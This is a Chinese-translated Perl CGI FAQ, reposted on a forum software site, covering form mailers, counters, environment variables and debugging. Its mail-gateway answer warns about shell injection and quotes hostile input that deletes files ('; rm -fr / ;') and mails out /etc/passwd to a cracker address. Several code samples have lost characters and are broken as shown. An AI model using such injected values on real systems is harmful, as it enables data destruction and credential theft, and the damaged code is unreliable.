动网论坛,站长建站首选,国内使用量最多的论坛软件 动网论坛官方技术讨论区 站长工具 申请属于您自己的免费论坛
首页 | 新闻资讯 | 网站运营 | 网络编程 | 数据库 | 服务器 | 网页设计 | 图像媒体 | 网络应用 | 搜索优化 | 资源下载 | 动网主机 | DVBOX
    本站内  互联网 ASP论坛  ASP.Net论坛  PHP论坛
  
   Cgi/Perl → 阅读文章

 cgi程式设计疑难杂症

作者来源: 
阅读 1454 人次 , 2006-3-29 4:05:00 


q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例?

其实做这个很容易。您的 cgi script 必须能做到这两件事:

将 form 中的资料整理出来。别忘了,所有的 form 资料都会被 url-编码起来 (先不考虑 netscape 2.0 【及 2.0 以上所支援】的 multipart mime资料)。

开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form 资料写过去。

我们就假设您用的是 cgi::* 模组。您可用以下的方法去叫 sendmail:

$cgi_form = new cgi::form;
$from = $cgi_form->param('from');
$name = $cgi_form->param('name');
$to = $cgi_form->param('to');
$subject = $cgi_form->param('subject');
$message = $cgi_form->param('message');
open sendmail, "| /usr/bin/sendmail -t -n";
print sendmail <
from: $from <$name>
to: $to
reply-to: $from
subject: $subject
$message
end_of_mail

有一个该注意的地方是 ``reply-to:'' 的信头。由於 server 是以 ``nobody''这 个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信的时後)。 加上 ``reply-to'' 的信头这个问题便解决了。

网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail:

【译者】gateway 在此指送 email 的 cgi 程式

open mail, "| mail -s 'subject' $to";
^
|
+-- 可能会出问题的漏洞!!!

如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号 (metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输入了以下的资 料:
; rm -fr / ;

那麽您的麻烦可大了*。

【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。另一个危险的符号是 ``&''。

在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权限使用者身份跑的原因)。 至少那些由 cgi 程式制造出来,但又没有备份的档案,是真的要跟它们永别了。

; mail joe@crackerland.org

那您的 cgi script 就替您把 /etc/passwd 给拱手送上了。这对一个「未加工」的 linux、sunos 4.1,还有其他任何没安装 shadow-password 的 unix 系统来说, 实在不太好玩。如果 server 错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为远方的 cracker 甚至可以让这个 cgi 的 email script 给他送 /etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。

--------------------------------------------------------------------------------

q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用 ``mailto: url'',这样 user 填入的资料就可以寄给我了?

很不幸地,mailto: 的指令并不是所有的浏览器都支援。如果您在档案中用了它的话, 会限制了那些使用没有支援 mailto: 的浏览器的人,让他们无法送 mail 给您*。

【译者】尽管如此,您或许不会在乎那占极少数比例的使用者(netscape 、 ie, 和 lynx 等浏览器都支援 mailto: )。

--------------------------------------------------------------------------------

q4.3: 我要如何在 unix 以外的平台上做 perl-cgi,譬如 mac、ms-dos、 windows 及 nt?我的 perl cgi 程式能不能在这些平台之间互相移植呢?能不能 很直接,没有麻烦?我在 unix 主机上有帐号,但是都是先在 windows/mac 上做。 我要如何在我自己的机器上测试写好的 cgi scripts*?

perl 已经被移植到上述所有的平台上了。因此,您的 perl cgi 程式照理应不难 移植。但如果您使用到一些 unix 上的程式,那麽您的程式可能会不好移植。如果 您只是做资料处理,或开启、读进档案等的话,那麽移植应该不会有问题。

【译者】原 faq 并未回答最後这个问题。要在 windows/os2/mac 等非 unix 平台 上测式您的 scripts ,您可以使用 cgi.pm (支援以上所有平台),配合 q4.19 中提示的除错技巧 ,或在自己的机器上安装 http server 软体。如此就不用辛苦的连上主机去测式了。

--------------------------------------------------------------------------------
q4.4: 在 perl cgi 程式中,stderr (标准错误讯息)、stdin (标准输入),和 stdout (标准输出) 各是连到何处?

在 cgi 环境下,stderr 会指向 server 的 错误讯息档 (error log)。您可以善 加利用这个特性,把除错的讯息写到 stderr,然後您便可藉查看错误讯息档来帮 您除错。

stdin 和 stdout 则都和浏览器相连。实际上,stdin 连的是 server。 server 会先解读 client (或浏览器)送出的请求和资料,再将其送给 script。

您也可以用将 stderr 「复制」到 stdout 的方法来抓错误讯息。这应该在 script 靠前头的地方做(但应在您输出合适的 http 标头之後):

open stderr, ">&stdout";

这会将所有的错误讯息都转送到 stdout (即浏览器) 去。

--------------------------------------------------------------------------------
q4.5: 如何写计数器?

计数器一类的程式相当流行。其实计数器的原理很简单,不过是:

用一个档案去储存资料。

每当有人光临网站,增大档案中所计的数字。

以下是一个简单的计数器的实例:

#!/usr/local/bin/perl -w

$counter = "/home/shishir/counter.dat";

print "content-type: text/plain", "nn";

open(file, $counter) || die "cannot read from the counter file.n";

flock file, 2;

$visitors = ;

flock file, 8;

close file;

open(file, ">$counter") || die "cannot write to counter file.n";

flock file, 2;

print file $visitors;

flock file, 8;

close file;

现在您可以在 html 档案中用 ssi (server side include; 伺服端插入)* 的方式来显示该计数器:

【译者】ssi 是 server 所提供的一项功能,可将动态资料,例如日期和时间,或 计数器显示等,在客户请求一网页时即时加入该文件中。支援 ssi 的 servers 包 括了 ncsa、apache,和netscape enterprise server 等。 ssi 固然是一项便利的设计,但如过份滥用 ,不但会减低 server 性能,更可能招来安全上的危机。

您是第 位光临本站的客人。

--------------------------------------------------------------------------------
q4.6: 要如何用一个 perl 的取代指令将所有 html 标签从一份文件中删除?

以下这个简单的 regular expression 可用来去除 html 标签*:

【译者】

要让这个 regular expression 跨行执行,您必须先将您的 script 由预设的 按行执行模式 (line mode) 改为按段执行模式 (paragraph mode)。您可以在指令 列以:

perl -00 -we '...'

的方式;或是在 script 中以:

#!/usr/bin/perl -00

$/ = "";

的方式来设定按段执行模式。

除非您需要对欲删除的 html 标签中的内容做进一步的处理或利用,否则本例 中最外围的一对括弧可去掉。

$line =~ s/<(([^ >]|n)*)>//g;

详细的相关资料,请看 tom [christiansen] 的 striphtml 程式, 这个程式同时也收录在他的tour of perl5 regexps 讲义中。

--------------------------------------------------------------------------------

q4.7: 要如何知道是谁/哪台机器/哪个浏览器执行了我的程式?

您可以从 http_user_agent 这个环境变数得知使用者所用的浏览器。

【摘自 www faq】

您的 cgi script 可以利用五个重要的环境变数来帮忙辨识使用者的身份。

http_from

这个环境变数理论上应设为使用者的email地址。但是许多浏览器完全不加以设定 【即不支援】,而大部份支援这个变数的浏览器又让使用者自由设定这个值。因此, 建议读者顶多拿它来做为 email form 中回信地址的预设值。

remote_user

这个变数唯有当 script 在安全认证的保护下执行时才会被设定。从 auth_type 这个变数可以知道所用的认证方法是属於哪一个类型。remote_user 则会含有正接 受认证的使用者的名字。要注意的是,remote_user 只有在使用安全认证的时候才 会被设定,而且不是所有的 servers 都支援。在 ncsa server 底下,如果认证所 使用的传输方式没有列入 access.conf 档中(也就是说,应使用 ,而不是仅仅用预设的 ),认证可能会出人意外地失 败。

remote_ident

如果 server 能连接上客户端的 ident server,它会将这个变数设成远方使用者 的身份。但由於向ident server 查询的动作太花时间,大部份的 servers 都把这 项功能关掉。更何况,客户端的机器是否会回应查询,又是否会诚实以对,都是无 法确定的。

remote_host

这个变数的设定值并不包括远端使用者的真实身份,但是会提供使用者正用来连线 的机器名称,只要 server 能找得出来。由於我们无法确切得知使用者的真实身份 【请看前一个环境变数的说明】,有的时候使用可确认的位址来替代,不失为一个可 行的变通方法。在 server 查不到远端的机器名称,或者是为增加 server 的处理 速度而将这个查询功能关掉的情况下,这个变数是空的;请看底下 remote_address 一项的说明。还有,别忘了您可能会发现所有使用同一个 proxy (代理人) server 的使用者的机器名都变成了那台 proxy server 的名字。

remote_addr

这个变数的设定值并不包括远端使用者的真实身份,但是会提供使用者正用来连线 的机器的资料。remote_addr 会包含客户端的 ip 位址,以用点隔开的十进位数字 的形式来表示。由於我们无法确切得知使用者的真实身份 [请看前一个环境变数的 说明],有的时候使用可确认的位址来替代,不失为一个可行的变通方法。和前一 项 remote_host 不同的是,这个变数一定会被设定。还有,别忘了您可能会发现 所有使用同一个 proxy (代理人) server 的使用者的机器位址都变成了那台 proxy server 的位址。

【摘录自 www faq 部份完】

--------------------------------------------------------------------------------

q4.8: 人家看得到我的 perl cgi 程式吗?如果是这样的话,那不就让他们知道我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来?

如果您将您的 server 设成对所有在一个特定目录(如 cgi-bin)下的档案,或者 是具有某些副档名(如 ``.pl''、``.tcl''、``.sh'')的档案一律都以 cgi 程式看 待,那麽 server 只会执行这些程式。至於使用者是无法看到 script 本身的内容 的。

但是如果您允许人们看您的 script (譬如把它放到 html 文件的根目录 下),那麽只要是这个程式没有安全上的漏洞,这并不能算是安全问题。如 果这个程式真的有安全上的破绽而您又允许使用者看这个程式,那麽他们便有机可 乘,进而利用这个弱点。

【译者】上面这段原文作者是就远方的客户端的使用者而言。和这个主题相关的一 个常问问题是:

q: 我的 perl cgi scripts 必须将权限设为全世界可读。可是这样一来,和我同 机器有帐户的人,只要知道我的程式名称,就可以浏览我的 perl 程式的内容;尤 其当其中牵涉到密码的问题时。

a: 至少有两个解决方法,一个简单,一个复杂:

简单的方法是,请您的系统管理者(如果不是您自己的话),将您的 cgi scripts 及密码档(如果您选择将密码存放在另一个档案中的话)的所有者设成 web server 跑的使用者(最常见的是使用者 nobody ;使用群 nogroup 或 nobody), 然後将 cgi scripts 的使用权限设定成 550 (-r-xr-x---),密码档的权限设成 440 (-r--r-----)。如此一来,一方面您的程式得以执行,而且其他同机器上的 使用者也没有办法偷看到您的程式和密码。

比较复杂的解决方法是先挑个难破的密码将整个程式加密起来,然後再使用 filter::decrypt 这个模组在临执行前将其解开,在此不多说。有兴趣的读者请看 filter::decrypt 的使用说明;此外新的 perl faq 第叁部分中这一段:``how can i hide the source for my perl program?'' ,大家也可参考。

--------------------------------------------------------------------------------
q4.9: 我需要将整个 perl library 都复制到我的 htdocs 目录底下吗?

不需要。您的 cgi scripts 可以使用 server 和 文件根目录之外的任何档案,除 非 server 是在一个 chroot 的环境下执行。

--------------------------------------------------------------------------------

q4.10: 我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有一个 type="password" 不是就是拿来做这个的吗?

no! form 的介面中有一个 ``password'' 的栏位,但是您不应该拿它来处 理任何机密性的资料。不该这麽做的原因是因为所有的 form 资料(包括 ``password'' 栏) 都是以纯文字形式,而非以加密形式由浏览器送至 server。

如果您想要安全地传送资料,那麽您需要使用具有安全功能的 server,例如 netscape 的 commerce server*。

【译者】apache ssl ,例如 stronghold 版,同样具有这个功能。

--------------------------------------------------------------------------------

q4.11: 我要如何产生专门替 netscape 设计的网页,以别於世上其他的浏览器?

您可以透过 http_user_agent 这个环境变数在您的 cgi script 中得知是否 netscape 正在执行您的 script。以下为一例:

$browser = $env{'http_user_agent'};

if ($browser =~ /mozilla/) {

#

# netscape

#

} else {

#

# non netscape

#

}

--------------------------------------------------------------------------------

q4.12: 为什麽我的 system() 所产生的资料输出顺序不对?

这是由於标准输出的产生方式通常是先累积相当的资料再输出(buffered)。要 让输出的资料以正确的顺序显示,您必须藉由 $| 这个变数的设定将 buffering 的 特性关掉。

--------------------------------------------------------------------------------

q4.13: 我听说 netscape 会支援 java*。这是不是说我现在得弃 perl,改 java 了?是不是该这麽做?

【译者】原 faq 已有相当一段时间未更新。这句话现在应该改作「netscape 和 ie 两大浏览器都已支援 java」。

不、不、不。java 和 cgi 的概念完全不同。cgi 是在 server 端执行,而 java则是在 client 端执行。有些东西(如动画)可藉由使用 java 而得到较好的效 果。但您可继续使用 perl 来发展 server 端的应用程式。

如果您需要有关 java 进一步的资料,底下列了几个文件您可以去看看*:

升阳公司的 java 文件

tom c.所写的 java uber alles(java 的种种)

java, the illusion(java 幻像)

【译者】後面这两篇文章对 java 及这个热潮作了很严厉的批判。本 faq 作者 tom c. 的 java uber alles 中的论点主要着重於技术层面。tom 对 java 的态度或许代表了不少 perl 阵营人仕的心声。

--------------------------------------------------------------------------------

q4.14: 我要如何读取环境变数?为什麽它们有时候会不一样?

您可以透过 %env 这个关连阵列来读取环境变数。以下这个简单的 script 会把所 有的环境变数印出来(排好顺序):

#!/usr/local/bin/perl -w

print "content-type: text/plain", "nn";

foreach $key (sort keys %env) {

print $key, " = ", $env{$key}, "n";

}

exit 0;

很不幸的,有些环境变数会被某些浏览器忽略掉。譬如,有些浏览器就不设定 http_referer。
--------------------------------------------------------------------------------

q4.15: 为什麽我输出的资料被搅乱了(如 ``b

如果您送的 mime 类型是 html 的话,您必须 「跳脱」 (escape) 某些符号,如 ``<''、``&anp;'',及 ``>'',否则浏览器会以为它是 html 【标签】。

您必须使用以下格式来跳脱特殊字元:

&#ascii 代码;

您可以在指令列执行这个简单的 script,便可得到非字母数字性字元 (non alpha-numeric characters) 所对应的 ascii 码:

#!/usr/local/bin/perl -w

print '请输入字串: ';

chop($string = );

$string =~ s/([^ws])/sprintf("&#%d;", ord($1))/ge;

print '跳脱过的字串是: ', "$stringn";

exit 0;

--------------------------------------------------------------------------------

q4.16: 为什麽我的perl cgi 程式可以由指令列,却无法从浏览器去执行?

最可能的原因是权限的问题。别忘了,您的 server 可能是以 ``nobody''、 ``www'',或其他权限很低的帐户身份来执行的。因此,除非它有足够的权限,否 则是无法执行您的 script 的。

--------------------------------------------------------------------------------

q4.17: 为什麽我的 perl cgi 程式能跑,但是不会把资料写到档案中?

这又是权限在作怪!server 除非有足够的权限否则是无法将资料写进某目录下的 某档案里去的。

您应该养成习惯检查 open 指令递回的错误状态 (error status):

print "content-type: text/plainnn";
.
.
.
open(file, ">/some/dir/some.file") ||

print '无法写进档案: ', "$!n";

.
.
.

--------------------------------------------------------------------------------

q4.18: 要如何做一个会维系状态,或允许【同一使用者】多次连线的 form?

您可以用 cgi::minisvr 这个 module 来维持【记住】几次不同的连线之间的状态资 料。

或者,您可以制做一系列的动态文件,在彼此之间相互传递一个期间代码(session id),此代码可以以询问 (query)、额外路径,或隐藏式栏位等形式存在*。

【译者】cgi.pm 会替您把这部份(维持状态)做好 (用上述的原理),故使用 cgi.pm 可自动享受这项功能,不需要自己去做。这又多了一个该使用 cgi.pm 的理由。

--------------------------------------------------------------------------------

q4.19: 如果不从浏览器去执行我的 cgi 程式,要如何替它除错?

cgi 程式不容易除错。您可以藉着手动设定环境变数来模拟 server:

setenv http_user_agent "mozilla/2.0b6" (csh)

export http_user_agent = "mozilla/2.0b6" (ksh, bash)

要模拟 post 请求,您可以把资料先放进一个档案里,然後把它 pipe 到您的程式 去:

cat data.file | some_program.pl

或者您可以用 cgi.pm 来帮您除错。假设您有一个像下面这样的 script, 它会把所有您传给它的索引/设定值对应资料 (key/value pairs) 都列印出来。

#!/usr/local/bin/perl -w

use cgi;

$cgi = new cgi;

print $cgi->header;

print $cgi->start_html("simple cgi.pm program");

print "

simple cgi.pm program
n";

print "

--------------------------------------------------------------------------------
";

print '以下所列的是您传送的设定值:';

print $cgi->dump;

exit 0;

这个 script 不会在乎您是透过 get、post,或 isindex 请求,或者是由指令列、 标准输入,或文字档将资料传送给它。为了方便除错,我们就直接从指令列传一些 资料给它吧:

% simple.cgi first=shishir last=gundavaram document='cgi faq'

% simple.cgi "first=shishir&last=gundavaram&document='cgi faq'"

在第二个例子中,整个字串周围必须加引号("),否则 shell 看到 ``&'' 这个符 号会误解。好,接下来是从标准输入来除错的方法:

% simple.cgi

(waiting for standard input)

first=shishir

last=gundavaram

document=cgi faq

^d

当然,您也可以先用一个档案来储存资料,然後再做输入转向,像这样:

% simple.cgi

您也可以用 cgi lint (即将出版)。它能达到相同的功效。另外,它也能帮忙检查 有无安全问题,不当使用 open(),以及不正确的 http 标头等。

--------------------------------------------------------------------------------

q4.20: 如果不靠
标签,要如何叫出 perl cgi 程式?

您可以直接去打开该 cgi 程式的 url:

http://some.machine/cgi-bin/your_program.pl

您也可以在文件中使用连结的方式,例如:

要试试我的cgi程式请在这里点一下

--------------------------------------------------------------------------------

q4.21: 要如何避免旁人不先填栏位就执行我的 form?他们为什麽一直不断这麽做?

这些人栏位完全空白就去执行 form 是因为他们把这个 form 的 url 储存起来 【储存到书签里面】的关系。当他们下次叫出这个 form 的时候,这个请求就会变成 是一个空的 get (而非 post 或填有资料的 get)。

您可以先检查所有栏位中的资料,如果其中有栏位留白的话,您可以送回一个``no content'' 的状态属性*。以下是一例(假设关连阵列 %form 中含有您 form 的资 料):

【译者】状态码 204 的属性已由 http

0.9 的 ``no response'' 变为

http 1.0 和

http 1.1 中的

``no content'' 了。

$error = 0;

foreach $value (values %form) {

$value =~ s/s//g;

$error = 1 unless $value;

}

if ($error) {

print "content-type: text/plainn";

print "status: 204 no contentnn";

print '除非您的浏览器不支援状态码 204 ,否则您不该看到这部份' , "n";

} else {

#

# process data here

#

}

--------------------------------------------------------------------------------

q4.22: 那些server 回应码 (server response codes)是干什麽用的?有什麽意义?

cgi 程式可以传送 server 然後 server 会把它转送给浏览器。例如: 假设您想送 ``no content'' (意思是告诉浏览器不要再重新下载该网页),那麽您得送一个 204 的回应码(见上例)。

--------------------------------------------------------------------------------

q4.23: 为什麽 print "location: http://host/page.htmln" 不 work?又为什麽它只 work 一次,但随後的转向就都弄错了呢?

cgi 程式只能送一个 location 标头。还有,如果您要 server 做转向的 动作您就不该送 mime 类别。譬如,以下的例子是错误的示范,尽管在有些 servers 上行的通:

#!/usr/local/bin/perl -w
.
.
.
print "content-type: text/plainn"

print "location: http://some.machine/some.docnn"";

--------------------------------------------------------------------------------

q4.24: 要如何让 server 在每个 html 网页的底部都自动加上一个:「最近更新日期: ...」的告示?或者,是不是只有 ssi 的网页才能这麽做?cgi 程式的日期要如何取 得?

如果您是透过 cgi 以动态方式来产生您的文件,那麽要插入一个时间标记非常简 单。以下是一例(仅适用於 perl 5):

$last_updated = localtime;

print '最近更新日期: ', "$last_updatedn";

或者是:

require "ctime.pl";

$last_updated = &ctime(time);

print '最近更新日期: ', "$last_updatedn";

甚至像这样:

chop($date = `/usr/local/bin/date`);

print '最近更新日期: ', "$last_updatedn";

您可以用 ssi 来达到这个效果,像这样:

<--#echo var="last_modified"-->

--------------------------------------------------------------------------------

q4.25: 什麽样的场合下以 perl 写 cgi 程式会显得太小题大作,因为用 shell 就可以做到?而什麽样的场合对 perl 来说又过於困难?用 c++ 做这类的事不是好得多吗?那用 c 呢?

每一个语言都有其长处和短处。相信这句话您听过很多次了。所以一切全看您要做 的是什麽而定。如果您预期正准备写的 cgi 程式每个钟头会有几千几万人次连去 使用,那麽您应该选用 c 或 c++来写。如果您求快的话(指发展所花费的时间而言), 那麽 perl 是正确的选择!

一般说来,您应避免用 shell 来做任何形式的 cgi 程式设计,因为 shell 在先 天上容易产生安全问题。

 
 收藏本文  打印本文  论坛讨论  关闭窗口
· 上一篇:perl写CGI时出现500号错误(Internal Server Error)原因总结
· 下一篇:GD.pm 图形模块安装指南
· 用 perl 实现文件上传
· CGI教程(6)调用CGI脚本文件的例子之一
· perl中的变量插值
· perl调试工具
· Perl在CGI程序设计中常用的函数和指令


关于本站 | 联系我们 | 业务合作 | 客户案例 | 诚聘英才 | 广告合作 | 收藏本站
海口动网先锋网络科技有限公司版权所有
Copyright © 2000 - 2006 Cndw.Com
中华人民共和国电信与信息服务业务经营许可证编号 琼 ICP 020077